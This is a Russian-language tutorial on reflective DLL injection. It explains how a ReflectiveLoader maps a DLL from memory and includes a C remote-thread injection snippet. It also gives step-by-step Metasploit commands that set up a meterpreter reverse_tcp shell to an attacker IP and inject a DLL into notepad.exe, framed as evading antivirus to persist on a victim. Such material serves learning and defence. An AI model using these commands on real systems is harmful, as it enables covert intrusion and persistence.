Истории из жизни вредоносов: Отражающая DLL инъекция
В предыдущих двух статьях, посвященных различным способам инъекций dll, мы использовали методы инжектирования, требующие в том или ином виде использовать файлы на машине жертвы, содержащие полезную нагрузку. Здесь у нас, а точнее у потенциального злоумышленника могут возникнуть некоторые трудности, связанные с обходом средств защиты. Так или иначе, но файл необходимо каким-то образом доставить на атакуемую машину. В случае с использованием флешки файл с полезной нагрузкой может обнаружить хостовый антивирус. Если мы будем использовать электронную почту для пересылки, то здесь может вмешаться антивирус на почтовом сервере, аналогично, при пересылке файла через файловую шару, может помешать антивирус для файловых серверов. Так или иначе, при работе с файлами всегда есть риск, что средства защиты могут нас обнаружить еще до того, как наш файл начнет свою активность.
В этой статье речь пойдет об использовании отражающих dll инъекций (reflective dll injection), которые позволяют в определенной степени спрятаться от средств защиты на этапе закрепления на машине жертвы.
Отражающая dll инъекция это метод, который позволяет злоумышленнику внедрять dll файлы в процесс жертву из памяти, а не из файла с диска, в результате ее практически невозможно обнаружить ни на уровне системы , ни на уровне процесса. То есть на машине жертвы не будет ни файлового тела ни на уровне системы ни на уровне процесса.
По этой причине в сегодняшней статье не будет исходного кода инжектора, так как мы не будем ничего компилировать, а будем использовать уже готовые инструменты.
Учимся отражать
Для того, чтобы понять, как работает этот вид инъекций, давайте рассмотрим работу отражающих dll инъекций по шагам
Допустим, у нас имеется своя dll-библиотека и некоторый исполняемый файл считывает dll библиотеку с диска в адресное пространство своего процесса и передает управление на ее экспортируемую функцию reflectiveloader. Эта dll физически не находится на машине жертвы. Она может находится на любом другом узле, например на машине злоумышленника. Так или иначе, но на этой машине она и загружается в память.
И поскольку теперь библиотека существует в произвольном месте в памяти, reflectiveloader вычисляет текущее местоположение самой dll библиотеки в памяти. Для этого reflectiveloader получает адрес текущей инструкции и, двигаясь в обратном направлении, ищет байты 0х4d5a, соответствующие MZ сигнатуре.
Здесь сделаю небольшое отступление и напомню о том, что MZ (инициалы разработчика PE формата файлов из Майкрософт) это первые два байта формата PE. Portable Executable — формат исполняемых файлов, объектного кода и динамических библиотек (DLL), используемый в 32- и 64-разрядных версиях операционной системы Microsoft Windows. Формат PE представляет собой структуру данных, содержащую всю информацию, необходимую PE-загрузчику для отображения файла в память.
Итак, это нужно для того, чтобы дать библиотеке возможность анализировать свои собственные заголовки для дальнейшего запуска. То есть, библиотека должна знать, где она размещается в памяти данной машины.
Далее, reflectiveloader определяет адрес библиотеки kernel32.dll в текущем процессе, после чего анализирует таблицу ее экспорта и находит функции LoadLibrary , GetProcAddress и VirtualalLoc, необходимые для дальнейшей загрузки. После этого reflectiveloader выделяет непрерывный участок памяти VirtualAlloc, где и размещает код dll библиотеки, заголовки и секции в соответствии с виртуальными адресами. Затем reflectiveloader обрабатывает свою, вновь загруженную таблицу импорта: загружает необходимые библиотеки LoadLibrary и импортируемые из них функции GetProcAddress.
И, наконец, reflectiveloader вызывает DllEntryPoint внедряемой библиотеки.
Примечательно, что если вспомнить пример кода инжектора из предыдущего занятия, то там мы уже использовали эти функции, правда в несколько ином виде.
…
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL);
PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, remoteBuffer, 0, NULL);
…
Но здесь эти функции не используются в открытом виде, а скрыты внутри reflectiveloader.
Эксплуатируем
Наша стратегия тоже будет отличаться от тех концепций взлома, которые мы использовали в предыдущих статьях. Мы будем считать, что злоумышленник уже получил удаленный доступ на машину жертвы и ему необходимо прокинуть dll в память машины жертвы, для того, чтобы там закрепиться. То есть в примере далее мы сначала создадим meterpreter сессию, то есть созадим реверсивный шелл на машину жертвы. Это будет просто exe файл, который запустили на машине жертвы. Тем самым мы имитируем наличие доступа у злоумышленника.
Создаем выполнимый файл для проброса сессии meterpreter:
Далее мы воспользуемся Metasploit, для того, чтобы настроить прослушивание нужного порта. В предыдущих статьях мы для прослушивания использовали утилиту nc из состава Linux. В данном случае мы будем использовать Metasploit для того, чтобы затем реализовать отраженную dll инъекцию.
Для этого запускаем Metasploit:
msfconsole
Далее выполним
use exploit/multi/handler
Укажем payload
set payload windows/meterpreter/reverse_tcp
Укажем LHOST
set LHOST=IP_злоумышленника
И порт
set LPORT=порт
Для запуска укажем
run
На машине жертвы запустим созданный ранее exe файл. Meterpreter сессия установлена.
После этого уберем полученную сессию в бэкграунд с помощью команды
background
Инжектируем
Теперь перейдем в ветку постэксплуатации
use post/windows/reflective_dll_inject
Далее нам потребуется библиотека reflective dll, которую можно загрузить например с этого ресурса https://github.com/stephenfewer/ReflectiveDLLInjection/tree/master/dll.
Укажем путь к этой dll:
set path /home/kali/Desktop/reflective_dll.x64.dll
Теперь укажем номер нашей уже установленной meterpreter сессии
set session 1
На машине жертвы необходимо узнать PID процесса реверс шелла и установить его с помощью
set PID номер_процесса
set PROCESS notepad.exe
Затем запускаем
run
Сообщение об успешном выполнении.
Результатом работы данной тестовой dll будет появление в окна с уведомлением от dll внутри notepad.
Заглянем под капот
Давайте посмотрим, что происходит на машине жертвы при реализации инъекции отраженной dll. Если до атаки процесс notepad выглядел следующим образом:
То после инъекции мы получили еще один дополнительный поток:
При этом у нас нет никаких RunDll32 и файлов на машине жертвы.
Заключение
В этих статьях мы рассмотрели различные методы инъекции процессов, которыми могут воспользоваться вредоносы для проникновения и закрепления в системе. Конечно, это не исчерпывающий список и существуют другие, более новые техники инъекций.
О других инструментах для обеспечения безопасности можно узнать у экспертов в области ИБ, например на онлайн-курсах. Перед стартом обучения проходят открытые уроки от преподавателей курсов, на которых можно узнать об актуальных технологиях и задать интересующие вопросы экспертам.